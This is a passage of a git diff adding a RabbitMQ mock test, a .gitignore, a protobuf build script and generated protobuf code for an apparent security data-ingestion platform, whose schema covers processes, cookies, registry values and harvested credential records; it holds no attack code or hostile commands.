+from nemesiscommon.messaging_rabbitmq import NemesisRabbitMQProducer
+from nemesiscommon.NemesisRabbitMQConsumer import NemesisRabbitMQConsumer
+
+
+class MockMessage:
+ def __init__(self, routing_key, body):
+ self.routing_key = routing_key
+ self.body = body
+
+ def process(self, *args, **kwargs):
+ return self
+
+ async def __aenter__(self):
+ return self
+
+ async def __aexit__(self, *exc_info):
+ pass
+
+
+URL = 'amqp://username:password@hostname:5672/virtualhost'
+QUEUE_FROM = 'receive_queue'
+QUEUE_TO = 'send_queue'
+
+DATA_BYTES = b'{"test": "hello world"}'
+DATA_DICT = {'test': 'hello world'}
+
+
+async def async_repeat(data):
+ while True:
+ yield data
+
+
+class MockManager:
+ def __init__(self):
+ self.iterator = AsyncMock()
+ self.iterator.__aenter__.return_value = async_repeat(
+ MockMessage(QUEUE_FROM, DATA_BYTES)
+ )
+
+ self.queue = NonCallableMock(spec=aio_pika.RobustQueue)
+ self.queue.iterator = Mock(return_value=self.iterator)
+
+ self.channel = NonCallableMock(spec=aio_pika.RobustChannel)
+ self.channel.get_queue = AsyncMock(return_value=self.queue)
+ self.exchange = self.channel.default_exchange = Mock(
+ spec=aio_pika.RobustExchange
+ )
+
+ self.connection = NonCallableMock(spec=aio_pika.RobustConnection)
+ self.connection.channel = AsyncMock(return_value=self.channel)
+
+ self.connect_robust = AsyncMock(return_value=self.connection)
+
+ def patch(self):
+ return patch('aio_pika.connect_robust', self.connect_robust)
+
+
+@pytest.mark.asyncio
+async def test_receive():
+ mocks = MockManager()
+
+ with mocks.patch():
+ publisher = await NemesisRabbitMQProducer.create(URL, "test", "test", {})
+ async with publisher:
+ publisher.Send(b"asdf")
+
+ client = await NemesisRabbitMQConsumer.create(URL, "test", {})
+ async with client:
+ async def process_message(self, message: bytes) -> None:
+ print(message)
+ client.Read(process_message)
+
+ # assert message.queue_name == QUEUE_FROM
+ # assert message.data == DATA_DICT
+
+
+def test_answer():
+ assert 5 == 5
diff --git a/packages/python/nemesispb/.gitignore b/packages/python/nemesispb/.gitignore
new file mode 100644
index 0000000..c067f4d
--- /dev/null
+++ b/packages/python/nemesispb/.gitignore
@@ -0,0 +1,164 @@
+# Byte-compiled / optimized / DLL files
+__pycache__/
+*.py[cod]
+*$py.class
+
+# C extensions
+*.so
+
+# Distribution / packaging
+.Python
+build/
+develop-eggs/
+dist/
+downloads/
+eggs/
+.eggs/
+lib/
+lib64/
+parts/
+sdist/
+var/
+wheels/
+share/python-wheels/
+*.egg-info/
+.installed.cfg
+*.egg
+MANIFEST
+
+# PyInstaller
+# Usually these files are written by a python script from a template
+# before PyInstaller builds the exe, so as to inject date/other infos into it.
+*.manifest
+*.spec
+
+# Installer logs
+pip-log.txt
+pip-delete-this-directory.txt
+
+# Unit test / coverage reports
+htmlcov/
+.tox/
+.nox/
+.coverage
+.coverage.*
+.cache
+nosetests.xml
+coverage.xml
+*.cover
+*.py,cover
+.hypothesis/
+.pytest_cache/
+cover/
+
+# Translations
+*.mo
+*.pot
+
+# Django stuff:
+*.log
+local_settings.py
+db.sqlite3
+db.sqlite3-journal
+
+# Flask stuff:
+instance/
+.webassets-cache
+
+# Scrapy stuff:
+.scrapy
+
+# Sphinx documentation
+docs/_build/
+
+# PyBuilder
+.pybuilder/
+target/
+
+# Jupyter Notebook
+.ipynb_checkpoints
+
+# IPython
+profile_default/
+ipython_config.py
+
+# pyenv
+# For a library or package, you might want to ignore these files since the code is
+# intended to run in multiple environments; otherwise, check them in:
+# .python-version
+
+# pipenv
+# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
+# However, in case of collaboration, if having platform-specific dependencies or dependencies
+# having no cross-platform support, pipenv may install dependencies that don't work, or not
+# install all needed dependencies.
+#Pipfile.lock
+
+# poetry
+# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
+# This is especially recommended for binary packages to ensure reproducibility, and is more
+# commonly ignored for libraries.
+# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
+#poetry.lock
+
+# pdm
+# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.
+#pdm.lock
+# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it
+# in version control.
+# https://pdm.fming.dev/#use-with-ide
+.pdm.toml
+
+# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm
+__pypackages__/
+
+# Celery stuff
+celerybeat-schedule
+celerybeat.pid
+
+# SageMath parsed files
+*.sage.py
+
+# Environments
+.env
+.venv
+env/
+venv/
+ENV/
+env.bak/
+venv.bak/
+
+# Spyder project settings
+.spyderproject
+.spyproject
+
+# Rope project settings
+.ropeproject
+
+# mkdocs documentation
+/site
+
+# mypy
+.mypy_cache/
+.dmypy.json
+dmypy.json
+
+# Pyre type checker
+.pyre/
+
+# pytype static type analyzer
+.pytype/
+
+# Cython debug symbols
+cython_debug/
+
+# PyCharm
+# JetBrains specific template is maintained in a separate JetBrains.gitignore that can
+# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
+# and can be added to the global gitignore or merged into this file. For a more nuclear
+# option (not recommended) you can uncomment the following to ignore the entire idea folder.
+#.idea/
+
+process_categorizer-data/
+# Ignore dynaconf secret files
+.secrets.*
diff --git a/packages/python/nemesispb/README.md b/packages/python/nemesispb/README.md
new file mode 100644
index 0000000..1134b20
--- /dev/null
+++ b/packages/python/nemesispb/README.md
@@ -0,0 +1,5 @@
+# Build
+```
+poetry install
+poetry run ./build.sh
+```
diff --git a/packages/python/nemesispb/__init.py__ b/packages/python/nemesispb/__init.py__
new file mode 100644
index 0000000..e69de29
diff --git a/packages/python/nemesispb/build.sh b/packages/python/nemesispb/build.sh
new file mode 100755
index 0000000..020cadc
--- /dev/null
+++ b/packages/python/nemesispb/build.sh
@@ -0,0 +1,18 @@
+#!/bin/bash
+
+SCRIPT=$(realpath "$0")
+SCRIPTPATH=$(dirname "$SCRIPT")
+
+pushd $SCRIPTPATH > /dev/null
+
+if [[ -z "${VIRTUAL_ENV}" ]]; then
+ echo "[*] Setting up Poetry virtualenv..."
+ poetry install
+ poetry run "$SCRIPT"
+else
+ echo "[*] Building protobufs..."
+ protoc --python_out=./nemesispb/ --mypy_out=./nemesispb/ -I../../protobufs/ ../../protobufs/*.proto
+ echo "[+] Python protobufs built!"
+fi
+
+popd > /dev/null
diff --git a/packages/python/nemesispb/nemesispb/__init__.py b/packages/python/nemesispb/nemesispb/__init__.py
new file mode 100644
index 0000000..541f859
--- /dev/null
+++ b/packages/python/nemesispb/nemesispb/__init__.py
@@ -0,0 +1 @@
+__version__ = '0.1.0'
\ No newline at end of file
diff --git a/packages/python/nemesispb/nemesispb/nemesis_pb2.py b/packages/python/nemesispb/nemesispb/nemesis_pb2.py
new file mode 100644
index 0000000..65522ef
--- /dev/null
+++ b/packages/python/nemesispb/nemesispb/nemesis_pb2.py
@@ -0,0 +1,309 @@
+# -*- coding: utf-8 -*-
+# Generated by the protocol buffer compiler. DO NOT EDIT!
+# source: nemesis.proto
+"""Generated protocol buffer code."""
+from google.protobuf.internal import builder as _builder
+from google.protobuf import descriptor as _descriptor
+from google.protobuf import descriptor_pool as _descriptor_pool
+from google.protobuf import symbol_database as _symbol_database
+# @@protoc_insertion_point(imports)
+
+_sym_db = _symbol_database.Default()
+
+
+from google.protobuf import timestamp_pb2 as google_dot_protobuf_dot_timestamp__pb2
+
+
+DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\rnemesis.proto\x12\x06server\x1a\x1fgoogle/protobuf/timestamp.proto\"\x16\n\x05\x45rror\x12\r\n\x05\x65rror\x18\x01 \x01(\t\"@\n\x05\x41lert\x12\x0c\n\x04type\x18\x01 \x01(\t\x12\x0c\n\x04text\x18\x02 \x01(\t\x12\x1b\n\x13originating_service\x18\x03 \x01(\t\"\xea\x01\n\x08Metadata\x12\x10\n\x08\x61gent_id\x18\x01 \x01(\t\x12\x12\n\nagent_type\x18\x02 \x01(\t\x12\x11\n\tautomated\x18\x03 \x01(\x08\x12\x11\n\tdata_type\x18\x04 \x01(\t\x12\x0e\n\x06source\x18\x05 \x01(\t\x12\x0f\n\x07project\x18\x06 \x01(\t\x12-\n\ttimestamp\x18\x07 \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12.\n\nexpiration\x18\x08 \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12\x12\n\nmessage_id\x18\t \x01(\t\"4\n\x0eMetadataHeader\x12\"\n\x08metadata\x18\x01 \x01(\x0b\x32\x10.server.Metadata\"\x97\x01\n\x1b\x41uthenticationDataIngestion\x12\x0c\n\x04\x64\x61ta\x18\x01 \x01(\t\x12\x0c\n\x04type\x18\x02 \x01(\t\x12\x0f\n\x07is_file\x18\x03 \x01(\x08\x12\x0b\n\x03uri\x18\x04 \x01(\t\x12\x10\n\x08username\x18\x05 \x01(\t\x12\r\n\x05notes\x18\x06 \x01(\t\x12\x1d\n\x15originating_object_id\x18\x07 \x01(\t\"{\n\"AuthenticationDataIngestionMessage\x12\"\n\x08metadata\x18\x01 \x01(\x0b\x32\x10.server.Metadata\x12\x31\n\x04\x64\x61ta\x18\x02 \x03(\x0b\x32#.server.AuthenticationDataIngestion\"a\n\x11\x46ileDataIngestion\x12\x11\n\tobject_id\x18\x01 \x01(\t\x12\x0c\n\x04path\x18\x02 \x01(\t\x12\x0c\n\x04size\x18\x03 \x01(\x04\x12\x1d\n\x15originating_object_id\x18\x04 \x01(\t\"g\n\x18\x46ileDataIngestionMessage\x12\"\n\x08metadata\x18\x01 \x01(\x0b\x32\x10.server.Metadata\x12\'\n\x04\x64\x61ta\x18\x02 \x03(\x0b\x32\x19.server.FileDataIngestion\"\xc2\x02\n\x18\x46ileInformationIngestion\x12\x0c\n\x04path\x18\x01 \x01(\t\x12\x0c\n\x04type\x18\x03 \x01(\t\x12\x0c\n\x04size\x18\x05 \x01(\x04\x12\x31\n\rcreation_time\x18\x07 \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12/\n\x0b\x61\x63\x63\x65ss_time\x18\t \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12\x35\n\x11modification_time\x18\x0b \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12\x13\n\x0b\x61\x63\x63\x65ss_mode\x18\r \x01(\r\x12\r\n\x05group\x18\x0f \x01(\t\x12\n\n\x02id\x18\x11 \x01(\t\x12\r\n\x05owner\x18\x13 \x01(\t\x12\x0c\n\x04sddl\x18\x15 \x01(\t\x12\x14\n\x0cversion_info\x18\x1e \x01(\t\"u\n\x1f\x46ileInformationIngestionMessage\x12\"\n\x08metadata\x18\x01 \x01(\x0b\x32\x10.server.Metadata\x12.\n\x04\x64\x61ta\x18\x02 \x03(\x0b\x32 .server.FileInformationIngestion\"&\n\tPrincipal\x12\x0b\n\x03sid\x18\x01 \x01(\t\x12\x0c\n\x04name\x18\x02 \x01(\t\"\xd8\x04\n\x05Token\x12\x1f\n\x04user\x18\x01 \x01(\x0b\x32\x11.server.Principal\x12!\n\x06groups\x18\x02 \x03(\x0b\x32\x11.server.Principal\x12\x30\n\nprivileges\x18\x03 \x03(\x0b\x32\x1c.server.Token.TokenPrivilege\x12%\n\x04type\x18\x04 \x01(\x0e\x32\x17.server.Token.TokenType\x12=\n\x13impersonation_level\x18\x05 \x01(\x0e\x32 .server.Token.ImpersonationLevel\x12\x0f\n\x07session\x18\x06 \x01(\r\x1a\x39\n\x0eTokenPrivilege\x12\x16\n\x0eprivilege_name\x18\x01 \x01(\t\x12\x0f\n\x07\x65nabled\x18\x02 \x01(\x08\"Z\n\tTokenType\x12\x19\n\x15TOKENTYPE_UNSPECIFIED\x10\x00\x12\x15\n\x11TOKENTYPE_PRIMARY\x10\x01\x12\x1b\n\x17TOKENTYPE_IMPERSONATION\x10\x02\"\xca\x01\n\x12ImpersonationLevel\x12\"\n\x1eIMPERSONATIONLEVEL_UNSPECIFIED\x10\x00\x12 \n\x1cIMPERSONATIONLEVEL_ANONYMOUS\x10\x01\x12%\n!IMPERSONATIONLEVEL_IDENTIFICATION\x10\x02\x12$\n IMPERSONATIONLEVEL_IMPERSONATION\x10\x03\x12!\n\x1dIMPERSONATIONLEVEL_DELEGATION\x10\x04\"\xe4\x01\n\x10ProcessIngestion\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\x14\n\x0c\x63ommand_line\x18\x02 \x01(\t\x12\x11\n\tfile_name\x18\x03 \x01(\t\x12\x12\n\nprocess_id\x18\x04 \x01(\x05\x12\x19\n\x11parent_process_id\x18\x05 \x01(\x05\x12\x0c\n\x04\x61rch\x18\x06 \x01(\t\x12.\n\nstart_time\x18\x07 \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12\x0e\n\x06memory\x18\x08 \x01(\x03\x12\x1c\n\x05token\x18\t \x01(\x0b\x32\r.server.Token\"e\n\x17ProcessIngestionMessage\x12\"\n\x08metadata\x18\x01 \x01(\x0b\x32\x10.server.Metadata\x12&\n\x04\x64\x61ta\x18\x02 \x03(\x0b\x32\x18.server.ProcessIngestion\"?\n\x10RawDataIngestion\x12\x0c\n\x04tags\x18\x01 \x03(\t\x12\x0f\n\x07is_file\x18\x02 \x01(\x08\x12\x0c\n\x04\x64\x61ta\x18\x03 \x01(\t\"e\n\x17RawDataIngestionMessage\x12\"\n\x08metadata\x18\x01 \x01(\x0b\x32\x10.server.Metadata\x12&\n\x04\x64\x61ta\x18\x02 \x03(\x0b\x32\x18.server.RawDataIngestion\"\x93\x03\n\x16RegistryValueIngestion\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\x17\n\nvalue_name\x18\x02 \x01(\tH\x00\x88\x01\x01\x12I\n\nvalue_kind\x18\x03 \x01(\x0e\x32\x30.server.RegistryValueIngestion.RegistryValueKindH\x01\x88\x01\x01\x12\x12\n\x05value\x18\x04 \x01(\tH\x02\x88\x01\x01\x12\x11\n\x04sddl\x18\x05 \x01(\tH\x03\x88\x01\x01\x12\x11\n\x04tags\x18\x06 \x01(\tH\x04\x88\x01\x01\"\x93\x01\n\x11RegistryValueKind\x12\x0b\n\x07UNKNOWN\x10\x00\x12\n\n\x06STRING\x10\x01\x12\x11\n\rEXPAND_STRING\x10\x02\x12\n\n\x06\x42INARY\x10\x03\x12\t\n\x05\x44WORD\x10\x04\x12\x14\n\x10\x44WORD_BIG_ENDIAN\x10\x05\x12\x08\n\x04LINK\x10\x06\x12\x10\n\x0cMULTI_STRING\x10\x07\x12\t\n\x05QWORD\x10\x0b\x42\r\n\x0b_value_nameB\r\n\x0b_value_kindB\x08\n\x06_valueB\x07\n\x05_sddlB\x07\n\x05_tags\"q\n\x1dRegistryValueIngestionMessage\x12\"\n\x08metadata\x18\x01 \x01(\x0b\x32\x10.server.Metadata\x12,\n\x04\x64\x61ta\x18\x02 \x03(\x0b\x32\x1e.server.RegistryValueIngestion\"0\n\x11PathListIngestion\x12\x0c\n\x04path\x18\x01 \x01(\t\x12\r\n\x05items\x18\x02 \x03(\t\"g\n\x18PathListIngestionMessage\x12\"\n\x08metadata\x18\x01 \x01(\x0b\x32\x10.server.Metadata\x12\'\n\x04\x64\x61ta\x18\x02 \x03(\x0b\x32\x19.server.PathListIngestion\"\xd4\x01\n\x10ServiceIngestion\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\x14\n\x0c\x64isplay_name\x18\x02 \x01(\t\x12\x13\n\x0b\x64\x65scription\x18\x03 \x01(\t\x12\x12\n\nstart_name\x18\x04 \x01(\t\x12\r\n\x05state\x18\x05 \x01(\t\x12\x12\n\nstart_mode\x18\x06 \x01(\t\x12\x0c\n\x04type\x18\x07 \x01(\t\x12\x17\n\x0fservice_command\x18\x08 \x01(\t\x12\x13\n\x0bservice_dll\x18\t \x01(\t\x12\x14\n\x0cservice_sddl\x18\n \x01(\t\"e\n\x17ServiceIngestionMessage\x12\"\n\x08metadata\x18\x01 \x01(\x0b\x32\x10.server.Metadata\x12&\n\x04\x64\x61ta\x18\x02 \x03(\x0b\x32\x18.server.ServiceIngestion\"\x85\x01\n\x12NamedPipeIngestion\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\x1b\n\x13server_process_name\x18\x02 \x01(\t\x12\x19\n\x11server_process_id\x18\x03 \x01(\x05\x12\x1b\n\x13server_process_path\x18\x04 \x01(\t\x12\x0c\n\x04sddl\x18\x05 \x01(\t\"i\n\x19NamedPipeIngestionMessage\x12\"\n\x08metadata\x18\x01 \x01(\x0b\x32\x10.server.Metadata\x12(\n\x04\x64\x61ta\x18\x02 \x03(\x0b\x32\x1a.server.NamedPipeIngestion\"\x94\x03\n\x0f\x43ookieIngestion\x12\x1b\n\x13user_data_directory\x18\x01 \x01(\t\x12\x0e\n\x06\x64omain\x18\x02 \x01(\t\x12\x0c\n\x04path\x18\x03 \x01(\t\x12\x0c\n\x04name\x18\x04 \x01(\t\x12\r\n\x05value\x18\x05 \x01(\t\x12\x11\n\tvalue_enc\x18\x06 \x01(\t\x12+\n\x07\x65xpires\x18\n \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12,\n\x08\x63reation\x18\x0b \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12/\n\x0blast_access\x18\x0c \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12/\n\x0blast_update\x18\r \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12\x0e\n\x06secure\x18\x0f \x01(\x08\x12\x11\n\thttp_only\x18\x10 \x01(\x08\x12\x0f\n\x07session\x18\x11 \x01(\x08\x12\x10\n\x08samesite\x18\x12 \x01(\t\x12\x13\n\x0bsource_port\x18\x13 \x01(\r\"c\n\x16\x43ookieIngestionMessage\x12\"\n\x08metadata\x18\x01 \x01(\x0b\x32\x10.server.Metadata\x12%\n\x04\x64\x61ta\x18\x02 \x03(\x0b\x32\x17.server.CookieIngestion\"\xa7\x01\n\x1aNetworkConnectionIngestion\x12\x15\n\rlocal_address\x18\x01 \x01(\t\x12\x16\n\x0eremote_address\x18\x02 \x01(\t\x12\x10\n\x08protocol\x18\x03 \x01(\t\x12\r\n\x05state\x18\x04 \x01(\t\x12\x12\n\nprocess_id\x18\x05 \x01(\r\x12\x14\n\x0cprocess_name\x18\x06 \x01(\t\x12\x0f\n\x07service\x18\x07 \x01(\t\"y\n!NetworkConnectionIngestionMessage\x12\"\n\x08metadata\x18\x01 \x01(\x0b\x32\x10.server.Metadata\x12\x30\n\x04\x64\x61ta\x18\x02 \x03(\x0b\x32\".server.NetworkConnectionIngestion\"\xd6\x01\n\x0fSlackWorkspaces\x12:\n\nworkspaces\x18\x01 \x03(\x0b\x32&.server.SlackWorkspaces.SlackWorkspace\x1a\x86\x01\n\x0eSlackWorkspace\x12\x10\n\x08username\x18\x01 \x01(\t\x12\x14\n\x0cworkspace_id\x18\x02 \x01(\t\x12\x18\n\x10workspace_domain\x18\x03 \x01(\t\x12\x16\n\x0eworkspace_name\x18\x04 \x01(\t\x12\x1a\n\x12workspace_icon_url\x18\x05 \x01(\t\"\xd4\x02\n\x0eSlackDownloads\x12\x37\n\tdownloads\x18\x01 \x03(\x0b\x32$.server.SlackDownloads.SlackDownload\x1a\x88\x02\n\rSlackDownload\x12\x10\n\x08username\x18\x01 \x01(\t\x12\x14\n\x0cworkspace_id\x18\x02 \x01(\t\x12\x13\n\x0b\x64ownload_id\x18\x03 \x01(\t\x12\x0f\n\x07team_id\x18\x04 \x01(\t\x12\x0f\n\x07user_id\x18\x05 \x01(\t\x12\x0b\n\x03url\x18\x06 \x01(\t\x12\x15\n\rdownload_path\x18\x07 \x01(\t\x12\x16\n\x0e\x64ownload_state\x18\x08 \x01(\t\x12.\n\nstart_time\x18\t \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12,\n\x08\x65nd_time\x18\n \x01(\x0b\x32\x1a.google.protobuf.Timestamp\"\xd8\x02\n\x03Lnk\x12\x0e\n\x06target\x18\x01 \x01(\t\x12\x19\n\x11working_directory\x18\x02 \x01(\t\x12\x1e\n\x16\x63ommand_line_arguments\x18\x03 \x01(\t\x12\x1a\n\x12machine_identifier\x18\x04 \x01(\t\x12\x0f\n\x07\x63omment\x18\x05 \x01(\t\x12\x18\n\x10target_file_size\x18\x06 \x01(\x04\x12\x10\n\x08location\x18\x07 \x01(\t\x12\x14\n\x0crun_as_admin\x18\x08 \x01(\x08\x12\x31\n\rcreation_time\x18\n \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12\x31\n\raccessed_time\x18\x0b \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12\x31\n\rmodified_time\x18\x0c \x01(\x0b\x32\x1a.google.protobuf.Timestamp\"\xa0\x01\n\x06Passwd\x12+\n\x07\x65ntries\x18\x01 \x03(\x0b\x32\x1a.server.Passwd.PasswdEntry\x1ai\n\x0bPasswdEntry\x12\x10\n\x08username\x18\x01 \x01(\t\x12\x0f\n\x07user_id\x18\x02 \x01(\t\x12\x10\n\x08group_id\x18\x03 \x01(\t\x12\x16\n\x0ehome_directory\x18\x04 \x01(\t\x12\r\n\x05shell\x18\x05 \x01(\t\"\xa3\x01\n\x06Shadow\x12+\n\x07\x65ntries\x18\x01 \x03(\x0b\x32\x1a.server.Shadow.ShadowEntry\x1al\n\x0bShadowEntry\x12\x10\n\x08username\x18\x01 \x01(\t\x12\x39\n\x15password_last_changed\x18\x02 \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12\x10\n\x08password\x18\x03 \x01(\t\"\x91\x03\n\x0cOfficeDocOle\x12\r\n\x05title\x18\x01 \x01(\t\x12\x0f\n\x07\x63reator\x18\x02 \x01(\t\x12+\n\x07\x63reated\x18\x03 \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12,\n\x08modified\x18\x04 \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12\x10\n\x08keywords\x18\x05 \x01(\t\x12\x10\n\x08\x63omments\x18\x06 \x01(\t\x12\x18\n\x10last_modified_by\x18\x07 \x01(\t\x12\x0f\n\x07subject\x18\x08 \x01(\t\x12\x1c\n\x14\x63reating_application\x18\t \x01(\t\x12\x17\n\x0ftotal_edit_time\x18\n \x01(\r\x12\x11\n\tnum_pages\x18\x0b \x01(\r\x12\x12\n\nnum_slides\x18\x0c \x01(\r\x12\x11\n\tnum_chars\x18\r \x01(\r\x12\x14\n\x0cis_encrypted\x18\x0f \x01(\x08\x12\x1c\n\x0f\x65ncryption_hash\x18\x10 \x01(\tH\x00\x88\x01\x01\x42\x12\n\x10_encryption_hash\"\xb5\x02\n\x0cOfficeDocNew\x12\r\n\x05title\x18\x01 \x01(\t\x12\x0f\n\x07\x63reator\x18\x02 \x01(\t\x12+\n\x07\x63reated\x18\x03 \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12,\n\x08modified\x18\x04 \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12\x13\n\x0b\x64\x65scription\x18\x05 \x01(\t\x12\x10\n\x08keywords\x18\x06 \x01(\t\x12\x18\n\x10last_modified_by\x18\x07 \x01(\t\x12\x0f\n\x07subject\x18\x08 \x01(\t\x12\x10\n\x08revision\x18\t \x01(\r\x12\x14\n\x0cis_encrypted\x18\n \x01(\x08\x12\x1c\n\x0f\x65ncryption_hash\x18\x0b \x01(\tH\x00\x88\x01\x01\x42\x12\n\x10_encryption_hash\"\xa0\x02\n\x03Pdf\x12\x11\n\tnum_pages\x18\x01 \x01(\r\x12\r\n\x05title\x18\x02 \x01(\t\x12\x0e\n\x06\x61uthor\x18\x03 \x01(\t\x12\x0f\n\x07subject\x18\x04 \x01(\t\x12\x0f\n\x07\x63reator\x18\x05 \x01(\t\x12\x10\n\x08producer\x18\x06 \x01(\t\x12+\n\x07\x63reated\x18\x07 \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12,\n\x08modified\x18\x08 \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12\x10\n\x08keywords\x18\t \x03(\t\x12\x14\n\x0cis_encrypted\x18\n \x01(\x08\x12\x1c\n\x0f\x65ncryption_hash\x18\x0b \x01(\tH\x00\x88\x01\x01\x42\x12\n\x10_encryption_hash\"\xc8\x02\n\x16GroupPolicyPreferences\x12K\n\x07\x65ntries\x18\x01 \x03(\x0b\x32:.server.GroupPolicyPreferences.GroupPolicyPreferencesEntry\x1a\xe0\x01\n\x1bGroupPolicyPreferencesEntry\x12\x10\n\x08username\x18\x01 \x01(\t\x12\x11\n\tcpassword\x18\x02 \x01(\t\x12\x10\n\x08password\x18\x03 \x01(\t\x12\x0f\n\x07newname\x18\x04 \x01(\t\x12\x13\n\x0b\x64\x65scription\x18\x05 \x01(\t\x12+\n\x07\x63hanged\x18\x06 \x01(\x0b\x32\x1a.google.protobuf.Timestamp\x12\x0e\n\x06\x61\x63tion\x18\x07 \x01(\t\x12\x10\n\x08\x64isabled\x18\x08 \x01(\x08\x12\x15\n\rnever_expires\x18\t \x01(\x08\"\xe5\x02\n\x0eMcafeeSitelist\x12;\n\x07\x65ntries\x18\x01 \x03(\x0b\x32*.server.McafeeSitelist.McafeeSitelistEntry\x1a\x95\x02\n\x13McafeeSitelistEntry\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\x0c\n\x04type\x18\x02 \x01(\t\x12\x10\n\x08username\x18\x03 \x01(\t\x12\x10\n\x08password\x18\x04 \x01(\t\x12\x1a\n\x12password_encrypted\x18\x05 \x01(\t\x12\x0f\n\x07\x65nabled\x18\x06 \x01(\x08\x12\r\n\x05local\x18\x07 \x01(\x08\x12\x0e\n\x06server\x18\x08 \x01(\t\x12\x13\n\x0b\x64omain_name\x18\t \x01(\t\x12\x12\n\nshare_name\x18\n \x01(\t\x12\x0f\n\x07useauth\x18\x0b \x01(\x08\x12\x14\n\x0crelativepath\x18\x0c \x01(\t\x12\"\n\x1aused_loggedon_user_account\x18\r \x01(\x08\"\x86\x01\n\x06Tomcat\x12\r\n\x05roles\x18\x01 \x03(\t\x12+\n\x07\x65ntries\x18\x02 \x03(\x0b\x32\x1a.server.Tomcat.TomcatEntry\x1a@\n\x0bTomcatEntry\x12\x10\n\x08username\x18\x01 \x01(\t\x12\x10\n\x08password\x18\x02 \x01(\t\x12\r\n\x05roles\x18\x03 \x03(\t\"X\n\x08JWTToken\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\x0e\n\x06issuer\x18\x02 \x01(\t\x12\x10\n\x08\x61udience\x18\x03 \x01(\t\x12\x1d\n\x15minutes_to_expiration\x18\x04 \x01(\t\"h\n\x12\x44\x61tabaseCredential\x12\x0c\n\x04type\x18\x01 \x01(\t\x12\x0e\n\x06server\x18\x02 \x01(\t\x12\x10\n\x08\x64\x61tabase\x18\x03 \x01(\t\x12\x10\n\x08username\x18\x04 \x01(\t\x12\x10\n\x08password\x18\x05 \x01(\t\"\x8b\x01\n\x10\x43onnectionString\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\x15\n\rprovider_name\x18\x02 \x01(\t\x12\x19\n\x11\x63onnection_string\x18\x03 \x01(\t\x12\x37\n\x13\x64\x61tabase_credential\x18\x04 \x01(\x0b\x32\x1a.server.DatabaseCredential\"A\n\tWebConfig\x12\x34\n\x12\x63onnection_strings\x18\x01 \x03(\x0b\x32\x18.server.ConnectionString\"i\n\x0b\x41ppSettings\x12\x34\n\x12\x63onnection_strings\x18\x01 \x03(\x0b\x32\x18.server.ConnectionString\x12$\n\njwt_tokens\x18\x02 \x03(\x0b\x32\x10.server.JWTToken\"d\n\tSignature\x12\x0f\n\x07version\x18\x01 \x01(\r\x12\x0f\n\x07signers\x18\x02 \x03(\t\x12\x35\n\x12verification_flags\x18\x03 \x01(\x0e\x32\x19.server.VerificationFlags\"\xc5\x02\n\x06Header\x12\x1b\n\x13major_image_version\x18\x01 \x01(\r\x12\x1c\n\x14major_linker_version\x18\x02 \x01(\r\x12&\n\x1emajor_operating_system_version\x18\x03 \x01(\r\x12\x1f\n\x17major_subsystem_version\x18\x04 \x01(\r\x12\x1b\n\x13minor_image_version\x18\x05 \x01(\r\x12\x1c\n\x14minor_linker_version\x18\x06 \x01(\r\x12&\n\x1eminor_operating_system_version\x18\x07 \x01(\r\x12\x1f\n\x17minor_subsystem_version\x18\x08 \x01(\r\x12\x33\n\x0ftime_date_stamp\x18\t \x01(\x0b\x32\x1a.google.protobuf.Timestamp\"<\n\x06Symbol\x12\x11\n\tfunc_name\x18\x01 \x01(\t\x12\x0e\n\x06offset\x18\x02 \x01(\x04\x12\x0f\n\x07ordinal\x18\x03 \x01(\x05\"*\n\x07\x45xports\x12\x1f\n\x07symbols\x18\x01 \x03(\x0b\x32\x0e.server.Symbol\"4\n\x03\x44ll\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\x1f\n\x07symbols\x18\x02 \x03(\x0b\x32\x0e.server.Symbol\"$\n\x07Imports\x12\x19\n\x04\x64lls\x18\x01 \x03(\x0b\x32\x0b.server.Dll\"\xc1\x02\n\x0bVersionInfo\x12\x18\n\x10\x61ssembly_version\x18\x01 \x01(\t\x12\x10\n\x08\x63omments\x18\x02 \x01(\t\x12\x14\n\x0c\x63ompany_name\x18\x03 \x01(\t\x12\x18\n\x10\x66ile_description\x18\x04 \x01(\t\x12\x14\n\x0c\x66ile_version\x18\x05 \x01(\t\x12\x15\n\rinternal_name\x18\x06 \x01(\t\x12\x17\n\x0flegal_copyright\x18\x07 \x01(\t\x12\x18\n\x10legal_trademarks\x18\x08 \x01(\t\x12\x19\n\x11original_filename\x18\t \x01(\t\x12\x15\n\rprivate_build\x18\n \x01(\t\x12\x14\n\x0cproduct_name\x18\x0b \x01(\t\x12\x17\n\x0fproduct_version\x18\x0c \x01(\t\x12\x15\n\rspecial_build\x18\r \x01(\t\"\xd4\x01\n\x02Pe\x12\x1e\n\x06header\x18\x01 